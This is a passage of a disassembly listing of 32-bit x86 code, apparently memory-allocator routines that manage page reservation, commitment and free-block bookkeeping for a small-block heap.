[ebp+var_14] jz short loc_42826F mov eax, 0FFFFFFF4h jmp loc_428419 ; --------------------------------------------------------------------------- loc_42826F: ; CODE XREF: sub_427E00+463j mov ecx, [ebp+var_15C] mov edx, [ecx+8] cmp edx, [ebp+var_130] jz short loc_42828A mov eax, 0FFFFFFF3h jmp loc_428419 ; --------------------------------------------------------------------------- loc_42828A: ; CODE XREF: sub_427E00+47Ej mov eax, [ebp+var_15C] mov [ebp+var_130], eax mov ecx, [ebp+var_168] add ecx, 1 mov [ebp+var_168], ecx jmp loc_428166 ; --------------------------------------------------------------------------- loc_4282AA: ; CODE XREF: sub_427E00+381j ; sub_427E00+397j cmp [ebp+var_168], 0 jz short loc_428321 cmp [ebp+var_14], 20h jge short loc_4282EB mov edx, 80000000h mov ecx, [ebp+var_14] shr edx, cl mov eax, [ebp+var_11C] or eax, edx mov [ebp+var_11C], eax mov edx, 80000000h mov ecx, [ebp+var_14] shr edx, cl mov eax, [ebp+var_144] or eax, edx mov [ebp+var_144], eax jmp short loc_428321 ; --------------------------------------------------------------------------- loc_4282EB: ; CODE XREF: sub_427E00+4B7j mov ecx, [ebp+var_14] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+var_150] or eax, edx mov [ebp+var_150], eax mov ecx, [ebp+var_14] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+var_158] or eax, edx mov [ebp+var_158], eax loc_428321: ; CODE XREF: sub_427E00+4B1j ; sub_427E00+4E9j mov ecx, [ebp+var_130] mov edx, [ecx+4] cmp edx, [ebp+var_134] jnz short loc_428344 mov eax, [ebp+var_14] mov ecx, [ebp+var_168] cmp ecx, [ebp+eax*4+var_118] jz short loc_42834E loc_428344: ; CODE XREF: sub_427E00+530j mov eax, 0FFFFFFF2h jmp loc_428419 ; --------------------------------------------------------------------------- loc_42834E: ; CODE XREF: sub_427E00+542j mov edx, [ebp+var_134] mov eax, [edx+8] cmp eax, [ebp+var_130] jz short loc_428369 mov eax, 0FFFFFFF1h jmp loc_428419 ; --------------------------------------------------------------------------- loc_428369: ; CODE XREF: sub_427E00+55Dj mov ecx, [ebp+var_134] add ecx, 8 mov [ebp+var_134], ecx jmp loc_42813D ; --------------------------------------------------------------------------- loc_42837D: ; CODE XREF: sub_427E00+146j ; sub_427E00+34Aj mov edx, [ebp+var_C] mov eax, [ebp+var_160] mov ecx, [ebp+var_11C] cmp ecx, [eax+edx*4+44h] jnz short loc_4283AA mov edx, [ebp+var_C] mov eax, [ebp+var_160] mov ecx, [ebp+var_150] cmp ecx, [eax+edx*4+0C4h] jz short loc_4283B1 loc_4283AA: ; CODE XREF: sub_427E00+590j mov eax, 0FFFFFFF0h jmp short loc_428419 ; --------------------------------------------------------------------------- loc_4283B1: ; CODE XREF: sub_427E00+5A8j mov edx, [ebp+var_128] add edx, 8000h mov [ebp+var_128], edx mov eax, [ebp+var_18] add eax, 204h mov [ebp+var_18], eax mov ecx, [ebp+var_4] shl ecx, 1 mov [ebp+var_4], ecx jmp loc_427EDA ; --------------------------------------------------------------------------- loc_4283DB: ; CODE XREF: sub_427E00+E7j mov edx, [ebp+var_13C] mov eax, [ebp+var_144] cmp eax, [edx] jnz short loc_4283FC mov ecx, [ebp+var_13C] mov edx, [ebp+var_158] cmp edx, [ecx+4] jz short loc_428403 loc_4283FC: ; CODE XREF: sub_427E00+5E9j mov eax, 0FFFFFFEFh jmp short loc_428419 ; --------------------------------------------------------------------------- loc_428403: ; CODE XREF: sub_427E00+5FAj mov eax, [ebp+var_13C] add eax, 14h mov [ebp+var_13C], eax jmp loc_427E43 ; --------------------------------------------------------------------------- loc_428417: ; CODE XREF: sub_427E00+5Ej xor eax, eax loc_428419: ; CODE XREF: sub_427E00+26j ; sub_427E00+8Ej ... mov esp, ebp pop ebp retn sub_427E00 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, dword_4522DC pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] add eax, 0Fh and al, 0F0h mov [ebp+8], eax cmp dword ptr [ebp+8], 780h ja short loc_428457 mov ecx, [ebp+8] mov dword_4522DC, ecx mov eax, 1 jmp short loc_428459 ; --------------------------------------------------------------------------- loc_428457: ; CODE XREF: .XComp0:00428445j xor eax, eax loc_428459: ; CODE XREF: .XComp0:00428455j pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428460 proc near ; CODE XREF: .XComp0:00426761p ; sub_428920+34Cp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch cmp dword_4502C8, 0FFFFFFFFh jnz short loc_428478 mov [ebp+var_C], offset off_4502B8 jmp short loc_42849B ; --------------------------------------------------------------------------- loc_428478: ; CODE XREF: sub_428460+Dj push 2020h push 0 mov eax, dword_4E98C8 push eax nop call near ptr 2950000h mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_42849B xor eax, eax jmp loc_42863A ; --------------------------------------------------------------------------- loc_42849B: ; CODE XREF: sub_428460+16j ; sub_428460+32j push 4 push 2000h push 400000h push 0 call near ptr 2980000h nop mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz loc_42861C push 4 push 1000h push 10000h mov ecx, [ebp+var_4] push ecx nop call near ptr 2980000h test eax, eax jz loc_42860B cmp [ebp+var_C], offset off_4502B8 jnz short loc_42850B cmp off_4502B8, 0 jnz short loc_4284F6 mov off_4502B8, offset off_4502B8 loc_4284F6: ; CODE XREF: sub_428460+8Aj cmp off_4502BC, 0 jnz short loc_428509 mov off_4502BC, offset off_4502B8 loc_428509: ; CODE XREF: sub_428460+9Dj jmp short loc_428534 ; --------------------------------------------------------------------------- loc_42850B: ; CODE XREF: sub_428460+81j mov edx, [ebp+var_C] mov dword ptr [edx], offset off_4502B8 mov eax, [ebp+var_C] mov ecx, off_4502BC mov [eax+4], ecx mov edx, [ebp+var_C] mov off_4502BC, edx mov eax, [ebp+var_C] mov ecx, [eax+4] mov edx, [ebp+var_C] mov [ecx], edx loc_428534: ; CODE XREF: sub_428460:loc_428509j mov eax, [ebp+var_C] mov ecx, [ebp+var_4] mov [eax+10h], ecx mov edx, [ebp+var_4] add edx, 400000h mov eax, [ebp+var_C] mov [eax+14h], edx mov ecx, [ebp+var_C] add ecx, 18h mov edx, [ebp+var_C] mov [edx+8], ecx mov eax, [ebp+var_C] add eax, 98h mov ecx, [ebp+var_C] mov [ecx+0Ch], eax mov [ebp+var_8], 0 jmp short loc_428578 ; --------------------------------------------------------------------------- loc_42856F: ; CODE XREF: sub_428460+153j mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx loc_428578: ; CODE XREF: sub_428460+10Dj cmp [ebp+var_8], 400h jge short loc_4285B5 cmp [ebp+var_8], 10h jge short loc_428597 mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov dword ptr [ecx+eax*8+18h], 0F0h jmp short loc_4285A5 ; --------------------------------------------------------------------------- loc_428597: ; CODE XREF: sub_428460+125j mov edx, [ebp+var_8] mov eax, [ebp+var_C] mov dword ptr [eax+edx*8+18h], 0FFFFFFFFh loc_4285A5: ; CODE XREF: sub_428460+135j mov ecx, [ebp+var_8] mov edx, [ebp+var_C] mov dword ptr [edx+ecx*8+1Ch], 0F1h jmp short loc_42856F ; --------------------------------------------------------------------------- loc_4285B5: ; CODE XREF: sub_428460+11Fj push 10000h push 0 mov eax, [ebp+var_4] push eax call sub_421410 add esp, 0Ch loc_4285C8: ; CODE XREF: sub_428460+1A4j mov ecx, [ebp+var_C] mov edx, [ecx+10h] add edx, 10000h cmp [ebp+var_4], edx jnb short loc_428606 mov eax, [ebp+var_4] add eax, 8 mov ecx, [ebp+var_4] mov [ecx], eax mov edx, [ebp+var_4] mov dword ptr [edx+4], 0F0h mov eax, [ebp+var_4] mov byte ptr [eax+0F8h], 0FFh mov ecx, [ebp+var_4] add ecx, 1000h mov [ebp+var_4], ecx jmp short loc_4285C8 ; --------------------------------------------------------------------------- loc_428606: ; CODE XREF: sub_428460+177j mov eax, [ebp+var_C] jmp short loc_42863A ; --------------------------------------------------------------------------- loc_42860B: ; CODE XREF: sub_428460+74j push 8000h push 0 mov edx, [ebp+var_4] push edx nop call near ptr 2970D92h loc_42861C: ; CODE XREF: sub_428460+56j cmp [ebp+var_C], offset off_4502B8 jz short loc_428638 mov eax, [ebp+var_C] push eax push 0 mov ecx, dword_4E98C8 push ecx nop call near ptr 2970000h loc_428638: ; CODE XREF: sub_428460+1C3j xor eax, eax loc_42863A: ; CODE XREF: sub_428460+36j ; sub_428460+1A9j mov esp, ebp pop ebp retn sub_428460 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428640 proc near ; CODE XREF: sub_4286C0+136p arg_0 = dword ptr 8 push ebp mov ebp, esp push 8000h push 0 mov eax, [ebp+arg_0] mov ecx, [eax+10h] push ecx nop call near ptr 2970D92h mov edx, off_4522D8 cmp edx, [ebp+arg_0] jnz short loc_42866E mov eax, [ebp+arg_0] mov ecx, [eax+4] mov off_4522D8, ecx loc_42866E: ; CODE XREF: sub_428640+20j cmp [ebp+arg_0], offset off_4502B8 jz short loc_4286A7 mov edx, [ebp+arg_0] mov eax, [edx+4] mov ecx, [ebp+arg_0] mov edx, [ecx] mov [eax], edx mov eax, [ebp+arg_0] mov ecx, [eax] mov edx, [ebp+arg_0] mov eax, [edx+4] mov [ecx+4], eax mov ecx, [ebp+arg_0] push ecx push 0 mov edx, dword_4E98C8 push edx nop call near ptr 2970000h jmp short loc_4286B1 ; --------------------------------------------------------------------------- loc_4286A7: ; CODE XREF: sub_428640+35j mov dword_4502C8, 0FFFFFFFFh loc_4286B1: ; CODE XREF: sub_428640+65j pop ebp retn sub_428640 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4286C0 proc near ; CODE XREF: sub_4288B0+60p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, off_4502BC mov [ebp+var_14], eax loc_4286CE: ; CODE XREF: sub_4286C0+14Dj mov ecx, [ebp+var_14] cmp dword ptr [ecx+10h], 0FFFFFFFFh jz loc_4287FE mov [ebp+var_C], 3FFh mov [ebp+var_10], 0 mov edx, [ebp+var_C] mov eax, [ebp+var_14] lea ecx, [eax+edx*8+18h] mov [ebp+var_4], ecx jmp short loc_42870A ; --------------------------------------------------------------------------- loc_4286F8: ; CODE XREF: sub_4286C0:loc_42878Fj mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx mov eax, [ebp+var_4] sub eax, 8 mov [ebp+var_4], eax loc_42870A: ; CODE XREF: sub_4286C0+36j cmp [ebp+var_C], 0 jl loc_428794 mov ecx, [ebp+var_4] cmp dword ptr [ecx], 0F0h jnz short loc_42878F push 4000h push 1000h mov edx, [ebp+var_C] shl edx, 0Ch mov eax, [ebp+var_14] mov ecx, [eax+10h] add ecx, edx push ecx nop call near ptr 2970D92h test eax, eax jz short loc_42878F mov edx, [ebp+var_4] mov dword ptr [edx], 0FFFFFFFFh mov eax, dword_4E92C0 sub eax, 1 mov dword_4E92C0, eax mov ecx, [ebp+var_14] cmp dword ptr [ecx+0Ch], 0 jz short loc_42876C mov edx, [ebp+var_14] mov eax, [edx+0Ch] cmp eax, [ebp+var_4] jbe short loc_428775 loc_42876C: ; CODE XREF: sub_4286C0+9Fj mov ecx, [ebp+var_14] mov edx, [ebp+var_4] mov [ecx+0Ch], edx loc_428775: ; CODE XREF: sub_4286C0+AAj mov eax, [ebp+var_10] add eax, 1 mov [ebp+var_10], eax mov ecx, [ebp+arg_0] sub ecx, 1 mov [ebp+arg_0], ecx cmp [ebp+arg_0], 0 jnz short loc_42878F jmp short loc_428794 ; --------------------------------------------------------------------------- loc_42878F: ; CODE XREF: sub_4286C0+5Dj ; sub_4286C0+80j ... jmp loc_4286F8 ; --------------------------------------------------------------------------- loc_428794: ; CODE XREF: sub_4286C0+4Ej ; sub_4286C0+CDj mov edx, [ebp+var_14] mov [ebp+var_8], edx mov eax, [ebp+var_14] mov ecx, [eax+4] mov [ebp+var_14], ecx cmp [ebp+var_10], 0 jz short loc_4287FE mov edx, [ebp+var_8] cmp dword ptr [edx+18h], 0FFFFFFFFh jnz short loc_4287FE mov [ebp+var_C], 1 mov eax, [ebp+var_8] add eax, 20h mov [ebp+var_4], eax jmp short loc_4287D6 ; --------------------------------------------------------------------------- loc_4287C4: ; CODE XREF: sub_4286C0+127j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+var_4] add edx, 8 mov [ebp+var_4], edx loc_4287D6: ; CODE XREF: sub_4286C0+102j cmp [ebp+var_C], 400h jge short loc_4287E9 mov eax, [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_4287E9 jmp short loc_4287C4 ; --------------------------------------------------------------------------- loc_4287E9: ; CODE XREF: sub_4286C0+11Dj ; sub_4286C0+125j cmp [ebp+var_C], 400h jnz short loc_4287FE mov ecx, [ebp+var_8] push ecx call sub_428640 add esp, 4 loc_4287FE: ; CODE XREF: sub_4286C0+15j ; sub_4286C0+E7j ... mov edx, [ebp+var_14] cmp edx, off_4502BC jz short loc_428813 cmp [ebp+arg_0], 0 jg loc_4286CE loc_428813: ; CODE XREF: sub_4286C0+147j mov esp, ebp pop ebp retn sub_4286C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428820 proc near ; CODE XREF: sub_420610+B6p ; sub_425D30+12Bp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], offset off_4502B8 loc_42882D: ; CODE XREF: sub_428820+88j mov eax, [ebp+var_8] mov ecx, [ebp+arg_0] cmp ecx, [eax+10h] jbe short loc_428899 mov edx, [ebp+var_8] mov eax, [ebp+arg_0] cmp eax, [edx+14h] jnb short loc_428899 mov ecx, [ebp+arg_0] and ecx, 0Fh test ecx, ecx jnz short loc_428895 mov edx, [ebp+arg_0] and edx, 0FFFh xor eax, eax add eax, 100h cmp edx, eax jb short loc_428895 mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx], edx mov eax, [ebp+arg_0] and eax, 0FFFFF000h mov [ebp+var_4], eax mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+var_4] add eax, 100h mov ecx, [ebp+arg_0] sub ecx, eax sar ecx, 4 mov edx, [ebp+var_4] lea eax, [edx+ecx+8] jmp short loc_4288AC ; --------------------------------------------------------------------------- loc_428895: ; CODE XREF: sub_428820+2Bj ; sub_428820+3Fj xor eax, eax jmp short loc_4288AC ; --------------------------------------------------------------------------- loc_428899: ; CODE XREF: sub_428820+16j ; sub_428820+21j mov eax, [ebp+var_8] mov ecx, [eax] mov [ebp+var_8], ecx cmp [ebp+var_8], offset off_4502B8 jnz short loc_42882D xor eax, eax loc_4288AC: ; CODE XREF: sub_428820+73j ; sub_428820+77j mov esp, ebp pop ebp retn sub_428820 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4288B0 proc near ; CODE XREF: sub_425F40+340p ; sub_425F40+3ADp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch mov edx, [ebp+arg_0] lea eax, [edx+ecx*8+18h] mov [ebp+var_4], eax mov ecx, [ebp+arg_8] xor edx, edx mov dl, [ecx] mov eax, [ebp+var_4] mov ecx, [eax] add ecx, edx mov edx, [ebp+var_4] mov [edx], ecx mov eax, [ebp+arg_8] mov byte ptr [eax], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0F1h mov edx, [ebp+var_4] cmp dword ptr [edx], 0F0h jnz short loc_428918 mov eax, dword_4E92C0 add eax, 1 mov dword_4E92C0, eax cmp dword_4E92C0, 20h jnz short loc_428918 push 10h call sub_4286C0 add esp, 4 loc_428918: ; CODE XREF: sub_4288B0+46j ; sub_4288B0+5Cj mov esp, ebp pop ebp retn sub_4288B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428920 proc near ; CODE XREF: sub_425BD0+CEp ; sub_425F40+2ECp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h mov eax, off_4522D8 mov [ebp+var_20], eax loc_42892E: ; CODE XREF: sub_428920+188j mov ecx, [ebp+var_20] cmp dword ptr [ecx+10h], 0FFFFFFFFh jz loc_428A97 mov edx, [ebp+var_20] mov eax, [edx+8] mov [ebp+var_4], eax mov ecx, [ebp+var_20] add ecx, 2018h mov [ebp+var_10], ecx mov edx, [ebp+var_20] add edx, 18h mov eax, [ebp+var_4] sub eax, edx sar eax, 3 shl eax, 0Ch mov ecx, [ebp+var_20] mov edx, [ecx+10h] add edx, eax mov [ebp+var_8], edx jmp short loc_428983 ; --------------------------------------------------------------------------- loc_42896E: ; CODE XREF: sub_428920:loc_4289EFj mov eax, [ebp+var_4] add eax, 8 mov [ebp+var_4], eax mov ecx, [ebp+var_8] add ecx, 1000h mov [ebp+var_8], ecx loc_428983: ; CODE XREF: sub_428920+4Cj mov edx, [ebp+var_4] cmp edx, [ebp+var_10] jnb short loc_4289F4 mov eax, [ebp+var_4] mov ecx, [eax] cmp ecx, [ebp+arg_0] jl short loc_4289EF mov edx, [ebp+var_4] mov eax, [edx+4] cmp eax, [ebp+arg_0] jbe short loc_4289EF mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_4] mov eax, [edx] push eax mov ecx, [ebp+var_8] push ecx call sub_428CE0 add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_4289E6 mov edx, [ebp+var_20] mov off_4522D8, edx mov eax, [ebp+var_4] mov ecx, [eax] sub ecx, [ebp+arg_0] mov edx, [ebp+var_4] mov [edx], ecx mov eax, [ebp+var_20] mov ecx, [ebp+var_4] mov [eax+8], ecx mov eax, [ebp+var_C] jmp loc_428CD4 ; --------------------------------------------------------------------------- loc_4289E6: ; CODE XREF: sub_428920+9Dj mov edx, [ebp+var_4] mov eax, [ebp+arg_0] mov [edx+4], eax loc_4289EF: ; CODE XREF: sub_428920+73j ; sub_428920+7Ej jmp loc_42896E ; --------------------------------------------------------------------------- loc_4289F4: ; CODE XREF: sub_428920+69j mov ecx, [ebp+var_20] add ecx, 18h mov [ebp+var_4], ecx mov edx, [ebp+var_20] mov eax, [edx+8] mov [ebp+var_10], eax mov ecx, [ebp+var_20] mov edx, [ecx+10h] mov [ebp+var_8], edx jmp short loc_428A26 ; --------------------------------------------------------------------------- loc_428A11: ; CODE XREF: sub_428920:loc_428A92j mov eax, [ebp+var_4] add eax, 8 mov [ebp+var_4], eax mov ecx, [ebp+var_8] add ecx, 1000h mov [ebp+var_8], ecx loc_428A26: ; CODE XREF: sub_428920+EFj mov edx, [ebp+var_4] cmp edx, [ebp+var_10] jnb short loc_428A97 mov eax, [ebp+var_4] mov ecx, [eax] cmp ecx, [ebp+arg_0] jl short loc_428A92 mov edx, [ebp+var_4] mov eax, [edx+4] cmp eax, [ebp+arg_0] jbe short loc_428A92 mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_4] mov eax, [edx] push eax mov ecx, [ebp+var_8] push ecx call sub_428CE0 add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_428A89 mov edx, [ebp+var_20] mov off_4522D8, edx mov eax, [ebp+var_4] mov ecx, [eax] sub ecx, [ebp+arg_0] mov edx, [ebp+var_4] mov [edx], ecx mov eax, [ebp+var_20] mov ecx, [ebp+var_4] mov [eax+8], ecx mov eax, [ebp+var_C] jmp loc_428CD4 ; --------------------------------------------------------------------------- loc_428A89: ; CODE XREF: sub_428920+140j mov edx, [ebp+var_4] mov eax, [ebp+arg_0] mov [edx+4], eax loc_428A92: ; CODE XREF: sub_428920+116j ; sub_428920+121j jmp loc_428A11 ; --------------------------------------------------------------------------- loc_428A97: ; CODE XREF: sub_428920+15j ; sub_428920+10Cj mov ecx, [ebp+var_20] mov edx, [ecx] mov [ebp+var_20], edx mov eax, [ebp+var_20] cmp eax, off_4522D8 jnz loc_42892E mov [ebp+var_20], offset off_4502B8 loc_428AB5: ; CODE XREF: sub_428920+346j mov ecx, [ebp+var_20] cmp dword ptr [ecx+10h], 0FFFFFFFFh jz loc_428C57 mov edx, [ebp+var_20] cmp dword ptr [edx+0Ch], 0 jz loc_428C57 mov eax, [ebp+var_20] mov ecx, [eax+0Ch] mov [ebp+var_4], ecx mov edx, [ebp+var_20] add edx, 18h mov eax, [ebp+var_4] sub eax, edx sar eax, 3 shl eax, 0Ch mov ecx, [ebp+var_20] mov edx, [ecx+10h] add edx, eax mov [ebp+var_8], edx mov [ebp+var_14], 0 mov eax, [ebp+var_4] mov [ebp+var_10], eax jmp short loc_428B15 ; --------------------------------------------------------------------------- loc_428B03: ; CODE XREF: sub_428920+203j mov ecx, [ebp+var_10] add ecx, 8 mov [ebp+var_10], ecx mov edx, [ebp+var_14] add edx, 1 mov [ebp+var_14], edx loc_428B15: ; CODE XREF: sub_428920+1E1j mov eax, [ebp+var_10] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_428B25 cmp [ebp+var_14], 10h jge short loc_428B25 jmp short loc_428B03 ; --------------------------------------------------------------------------- loc_428B25: ; CODE XREF: sub_428920+1FBj ; sub_428920+201j push 4 push 1000h mov ecx, [ebp+var_14] shl ecx, 0Ch push ecx mov edx, [ebp+var_8] push edx call near ptr 2980000h nop cmp eax, [ebp+var_8] jnz loc_428C53 push 0 mov eax, [ebp+var_14] shl eax, 0Ch push eax mov ecx, [ebp+var_8] push ecx call sub_421410 add esp, 0Ch mov [ebp+var_18], 0 mov edx, [ebp+var_8] mov [ebp+var_1C], edx mov eax, [ebp+var_4] mov [ebp+var_10], eax jmp short loc_428B8E ; --------------------------------------------------------------------------- loc_428B70: ; CODE XREF: sub_428920+2A8j mov ecx, [ebp+var_18] add ecx, 1 mov [ebp+var_18], ecx mov edx, [ebp+var_1C] add edx, 1000h mov [ebp+var_1C], edx mov eax, [ebp+var_10] add eax, 8 mov [ebp+var_10], eax loc_428B8E: ; CODE XREF: sub_428920+24Ej mov ecx, [ebp+var_18] cmp ecx, [ebp+var_14] jge short loc_428BCA mov edx, [ebp+var_1C] add edx, 8 mov eax, [ebp+var_1C] mov [eax], edx mov ecx, [ebp+var_1C] mov dword ptr [ecx+4], 0F0h mov edx, [ebp+var_1C] mov byte ptr [edx+0F8h], 0FFh mov eax, [ebp+var_10] mov dword ptr [eax], 0F0h mov ecx, [ebp+var_10] mov dword ptr [ecx+4], 0F1h jmp short loc_428B70 ; --------------------------------------------------------------------------- loc_428BCA: ; CODE XREF: sub_428920+274j mov edx, [ebp+var_20] mov off_4522D8, edx loc_428BD3: ; CODE XREF: sub_428920+2D1j mov eax, [ebp+var_20] add eax, 2018h cmp [ebp+var_10], eax jnb short loc_428BF3 mov ecx, [ebp+var_10] cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_428BF3 mov edx, [ebp+var_10] add edx, 8 mov [ebp+var_10], edx jmp short loc_428BD3 ; --------------------------------------------------------------------------- loc_428BF3: ; CODE XREF: sub_428920+2BEj ; sub_428920+2C6j mov eax, [ebp+var_20] add eax, 2018h cmp [ebp+var_10], eax sbb ecx, ecx and ecx, [ebp+var_10] mov edx, [ebp+var_20] mov [edx+0Ch], ecx mov eax, [ebp+var_8] mov cl, byte ptr [ebp+arg_0] mov [eax+8], cl mov edx, [ebp+var_20] mov eax, [ebp+var_4] mov [edx+8], eax mov ecx, [ebp+var_4] mov edx, [ecx] sub edx, [ebp+arg_0] mov eax, [ebp+var_4] mov [eax], edx mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] lea eax, [edx+ecx+8] mov ecx, [ebp+var_8] mov [ecx], eax mov edx, [ebp+var_8] mov eax, [edx+4] sub eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [ecx+4], eax mov eax, [ebp+var_8] add eax, 100h jmp loc_428CD4 ; --------------------------------------------------------------------------- loc_428C53: ; CODE XREF: sub_428920+220j xor eax, eax jmp short loc_428CD4 ; --------------------------------------------------------------------------- loc_428C57: ; CODE XREF: sub_428920+19Cj ; sub_428920+1A9j mov edx, [ebp+var_20] mov eax, [edx] mov [ebp+var_20], eax cmp [ebp+var_20], offset off_4502B8 jnz loc_428AB5 call sub_428460 mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_428CD2 mov ecx, [ebp+var_20] mov edx, [ecx+10h] mov [ebp+var_8], edx mov eax, [ebp+var_8] mov cl, byte ptr [ebp+arg_0] mov [eax+8], cl mov edx, [ebp+var_20] mov off_4522D8, edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] lea edx, [ecx+eax+8] mov eax, [ebp+var_8] mov [eax], edx mov ecx, 0F0h sub ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov [edx+4], ecx mov eax, [ebp+arg_0] and eax, 0FFh mov ecx, [ebp+var_20] mov edx, [ecx+18h] sub edx, eax mov eax, [ebp+var_20] mov [eax+18h], edx mov eax, [ebp+var_8] add eax, 100h jmp short loc_428CD4 ; --------------------------------------------------------------------------- loc_428CD2: ; CODE XREF: sub_428920+358j xor eax, eax loc_428CD4: ; CODE XREF: sub_428920+C1j ; sub_428920+164j ... mov esp, ebp pop ebp retn sub_428920 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428CE0 proc near ; CODE XREF: sub_428920+8Ep ; sub_428920+131p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_0] mov ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+arg_0] add eax, 0F8h mov [ebp+var_14], eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] cmp edx, [ebp+arg_8] jb short loc_428D6D mov eax, [ebp+var_8] mov cl, byte ptr [ebp+arg_8] mov [eax], cl mov edx, [ebp+var_8] add edx, [ebp+arg_8] cmp edx, [ebp+var_14] jnb short loc_428D3B mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, [ebp+arg_8] mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax+4] sub ecx, [ebp+arg_8] mov edx, [ebp+arg_0] mov [edx+4], ecx jmp short loc_428D50 ; --------------------------------------------------------------------------- loc_428D3B: ; CODE XREF: sub_428CE0+3Bj mov eax, [ebp+arg_0] add eax, 8 mov ecx, [ebp+arg_0] mov [ecx], eax mov edx, [ebp+arg_0] mov dword ptr [edx+4], 0 loc_428D50: ; CODE XREF: sub_428CE0+59j mov eax, [ebp+arg_0] add eax, 8 mov ecx, [ebp+var_8] sub ecx, eax shl ecx, 4 mov edx, [ebp+arg_0] lea eax, [edx+ecx+100h] jmp loc_428F85 ; --------------------------------------------------------------------------- loc_428D6D: ; CODE XREF: sub_428CE0+28j mov eax, [ebp+arg_0] mov ecx, [eax+4] mov edx, [ebp+var_8] xor eax, eax mov al, [edx+ecx] test eax, eax jz short loc_428D8B mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] add edx, [ecx+4] mov [ebp+var_8], edx loc_428D8B: ; CODE XREF: sub_428CE0+9Dj ; sub_428CE0:loc_428E84j mov eax, [ebp+var_8] add eax, [ebp+arg_8] cmp eax, [ebp+var_14] jnb loc_428E89 mov ecx, [ebp+var_8] xor edx, edx mov dl, [ecx] test edx, edx jnz loc_428E75 mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_C], eax mov [ebp+var_10], 1 jmp short loc_428DCD ; --------------------------------------------------------------------------- loc_428DBB: ; CODE XREF: sub_428CE0+F8j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx loc_428DCD: ; CODE XREF: sub_428CE0+D9j mov eax, [ebp+var_C] xor ecx, ecx mov cl, [eax] test ecx, ecx jnz short loc_428DDA jmp short loc_428DBB ; --------------------------------------------------------------------------- loc_428DDA: ; CODE XREF: sub_428CE0+F6j mov edx, [ebp+var_10] cmp edx, [ebp+arg_8] jnb short loc_428E15 mov eax, [ebp+var_8] cmp eax, [ebp+var_4] jnz short loc_428DF5 mov ecx, [ebp+arg_0] mov edx, [ebp+var_10] mov [ecx+4], edx jmp short loc_428E0D ; --------------------------------------------------------------------------- loc_428DF5: ; CODE XREF: sub_428CE0+108j mov eax, [ebp+arg_4] sub eax, [ebp+var_10] mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_428E0D xor eax, eax jmp loc_428F85 ; --------------------------------------------------------------------------- 